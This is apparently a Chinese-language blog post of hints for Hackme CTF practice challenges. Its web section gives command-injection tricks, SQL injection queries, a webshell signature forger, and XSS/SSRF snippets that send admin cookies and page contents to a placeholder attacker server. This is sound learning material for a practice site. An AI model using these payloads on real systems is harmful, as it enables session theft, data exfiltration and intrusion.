0%

Hackme CTF 練習站的一些解題心得與提示

這篇文章是用來記錄一些我解 Hackme CTF 上一些題目學到的一些東西,不會直接寫出完整的解法。主要是為了我以後能比較容易記憶起這些東西,當作個筆記而已。

內容會根據自己的解題進度慢慢更新,最後更新 2020/07/23。

Misc

flag

和提示說的一樣,用 Regex 找一下就好了。不過要注意一下 FLAG{...} 中括號裡面是不會有一些特殊符號的。

corgi can fly

就按照它的說明,用 stegsolve 去找就可以了。

television

打開 HxD 搜尋一下,或是直接 strings 尋找也可以。

big

file 檢查一下檔案格式,然後解壓縮。它一共兩層,第二層有 16GB,注意一下。最後的檔案一樣用 HxD 打開搜尋,或是 strings 也可以。

encoder

按照它給的 encoder.py 裡面的邏輯,把它反過來解就好了。這題用 Python 2 比較好解,因為可以直接複製它原本就寫好的函數小改一下就好了。

pusheen.txt

注意一下貓的顏色。

Web

hide and seek

檢查原始碼

guestbook

就按照它給的提示,使用 sqlmap 輕鬆解決。

LFI

觀察一下它的網址,有沒有感覺像是讀檔案的感覺?
然後研究一下 php://filter 的用法就可以了。

homepage

console 是你的好朋友。

PS: 那個很奇怪的 JavaScript 檔案是由 aaencode 所編碼過的,不過這個訊息和解題毫無關係

ping

想一想 bash 哪些方法可以在參數中執行指令? $(cmd) `cmd`

有哪些方法可以讀取檔案 print 出來? cat head tail

有哪些方法可以不用打出檔案的全名就能讀檔? *

scoreboard

HTML 原始碼中沒有藏 FLAG,那哪裡還有可能藏資訊呢? 可以想想 HTTP 有什麼東西。

login as admin 0

SQL Injection

它的原始碼告訴了你 ' 會被轉換成 \',那有沒有什麼方法把 \' 前面那個礙眼的 \ 處裡掉呢? 提示: \\ -> \

再來是可以想辦法用 ORDER BY 或是 LIMIT 去讓它選到 admin 的帳號就可以了。

login as admin 0.1

前一題的延伸,用 Union Query 就可以了。

可能用了到的幾個 MySQL 技巧:

1
2
3
SELECT 1,1,column_name,1 FROM whatever_table; # 把 SELECT 的結果變成想要的格式
SELECT table_name FROM information_schema.tables WHERE table_schema = database(); # 取得表格名稱
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = "whatever_table"; # 取得欄位名稱

login as admin 1

在 SQL 中,OR 1=1OR/**/1=1 是等價的。

login as admin 3

可以去研究一下 PHP 的 weak comparison 表格,"php" == 0 的結果是 true

然後也請記得 JSON 格式是有類型資訊存在裡面的。

login as admin 4

Redirect,秒殺

login as admin 6

extract() 這個函數會把你物件中的 key => value 賦值給 $key 變數,如果有原本就存在的變數的話也會直接覆蓋,像是下面這樣:

1
2
3
4
5
6
7
$a = 1;
$ar = [
'a' => 3,
'b' => 4
];
extract($ar);
echo $a === 3 && $b === 4; // 1

login as admin 7

也是 php 的 weak comparison 問題,不過這次兩邊都是字串。

看過這個 stackoverflow 的問題後你應該就會了。

webshell

檢查一下原始碼,然後想辦法改一下 php 就能得到它後台的 php 原始碼了,然後就針對它的碼去生成對應的 query string 就好了。不過要注意一下 (a^b)^b=a,以及它到底在 hash 的是哪個變數。

1
2
3
4
5
6
7
8
<?php
$ip = "YOUR_IP_HERE";
$executed_cmd = $_GET['cmd'];

$cmd = hash('SHA512', $ip) ^ (string)$executed_cmd;
$key = $_SERVER['HTTP_USER_AGENT'] . sha1("webshell.hackme.inndy.tw");
$sig = hash_hmac('SHA512', $executed_cmd, $key);
echo "cmd=".urlencode($cmd)."&sig=".$sig;

還有注意一下 flag 藏在隱藏檔裡面。

xssme

註冊完之後會收到一封來自 admin 的信說 I will read all your mails but never reply.,這代表它真的會打開你寄給他的信來閱讀的,這就有觸發 XSS 的機會。(實際上應該是用模擬的,headless browser 之類的)

關於 XSS 的觸發 tag 建議參考一下這份資料,因為它會擋一些關鍵的單字如 <script onerror 之類的,不過只要拿那裡面的其他 payload 就可以了,例如我測試到 <svg/onload=""> 是可以的。

然後你可能還需要一個伺服器來接收 XSS 之後的 request,想辦法讀資料。我是用 codesandbox 提供的服務,在上面弄個簡單的 node.js express server 把收到的 path 給輸出出來。

然後之後就用 location.href='https://YOUR_SERVER/test' 之類的東西,就可以了。如果遇到它告訴你遇到禁止的字元的話就用 html entities 轉譯處裡,例如這個

而這題就只要取得 admin 的 cookie (document.cookie) 就好了,所以就在 url 後面接上 document.cookie,也能選擇性的把它編碼(btoa encodeURIComponent)過之後再傳。

得到 cookie 後就能直接在裡面找到 Flag 了。

xssrf leak

這題是 xssme 的延伸,要你想辦法從某個 php 的原始碼中找到 flag。

上題所得到的 cookie 中有包含 PHPSESSID,但你實際上使用這個是無效的,因為它有限制只能從 localhost 存取 admin。就算你使用 X-Forwarded-For 去改也是無效的。

先再看一次題目名稱看看,xssrf 中的 ssrf 指的是 Server-side request forgery,就是想辦法讓對方在內網中發送一些 request 然後取得內容。

以這題來說,我們可以透過 Ajax 去抓取它網站上的資料。不過它模擬 JS 的軟體應該是很舊的樣子,fetch () => {} XMLHttpRequest.prototype.onload 一個都不支援,所以只能像是下面那樣用古老的寫法來做 Ajax。

1
2
3
4
5
6
7
8
xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
location.href = 'https://YOUR_SERVER/' + btoa(xhr.responseText)
}
}
xhr.open('GET', '.') // '.' 可以換成其他頁面,如果只是要存取它開你信件的話其實也不用 Ajax,直接 document.body.innerHTML 解決
xhr.send()

之後我們會先取得 admin 看到的信件頁面原始碼,會在裡面的選單發現到它有多出一些頁面,如 setadmin.php request.php 之類的。然後就用一樣的方法去取得那些頁面的原始碼,然後猜測它的功能並測試。之後會發現 request.php 頁面似乎是個可以對外部發送 request 的頁面(可以自己測試看看),有可能是用 file_get_contents 實作的,所以搞不好可以拿來讀檔案。

不過這時會不曉得該讀哪個檔案,所以我只好去查了一下關於這題其他人的解法,發現到還有 /robots.txt 可以查看。然後就在裡面發現到原來還有個 config.php,那八成就是我們的目標了。

然後我們要讀到檔案的方法可以讓它的 url 參數塞 ./config.php 之類的,不過發現到沒有效果,那就還有 file:// 格式的 uri 能用,不過這個格式只能為絕對路徑,所以得猜一下檔案目錄是在哪裡。而這個的解答實際上就是 /var/www/html/config.php,算是個還蠻常見的目標(其他的題目好像也都放在同個名稱的目錄下)。讀取到那個檔案之後就在裡面找到 Flag 了,這題就這樣破解了。

PS: 你實際上還可以再讓它讀讀看 request.php,發現到它原來是用 shell_exec curl escapeshellarg 實作的,所以真的只能用 file:// 格式的才能讀到檔案。

Reversing

helloworld

把執行檔丟進反編譯的軟體裡面,找到 main 的地方之後很快的就能找到它的 magic number 了。

simple

ltrace, Rot cipherAscii

pyyy

把下載的 pyc 檔丟給 decompiler,然後在要求輸入的地方稍微改一下,然後執行後就會輸出 FLAG 了。

Pwn

catflag

按照上面的指示 nc 過去,然後執行指令 cat flag 就好了,非常簡單。

Crypto

easy

hexstring -> ascii

r u kidding

明顯是 rot-n 之類的 Cipher,但是因為我們知道 Flag 的格式是 FLAG{...},那個 n 就很明顯了,連暴力都不用。

not hard

查一下 python 的 base64 documentation,看一下裡面有什麼 base64 的變種能用。這題需要 decode 兩次。

classic cipher 1

就和題目說的一樣是 substitution cipher,不過因為我們知道 Flag 的格式,所以起碼知道四個字母的轉換。

可能用了到的工具: quipqiup

login as admin 2

這題和 login as admin 3 有些相似,一樣是要透過自己改 cookie 來突破,不過它一樣有 sig 需要處裡。不過提示已經跟你說了 length extension attack,那就找個工具來用就好了。例如 HashPump

再來是 PHP 在解讀 querystring 的時候如果遇到重複的 key 出現,後面的會把前面的值覆蓋掉。例如 a=1&a=2 => $_GET['a'] === '2'

還有請你注意一下 md5($secret) 的長度是多少,對破解這題有用。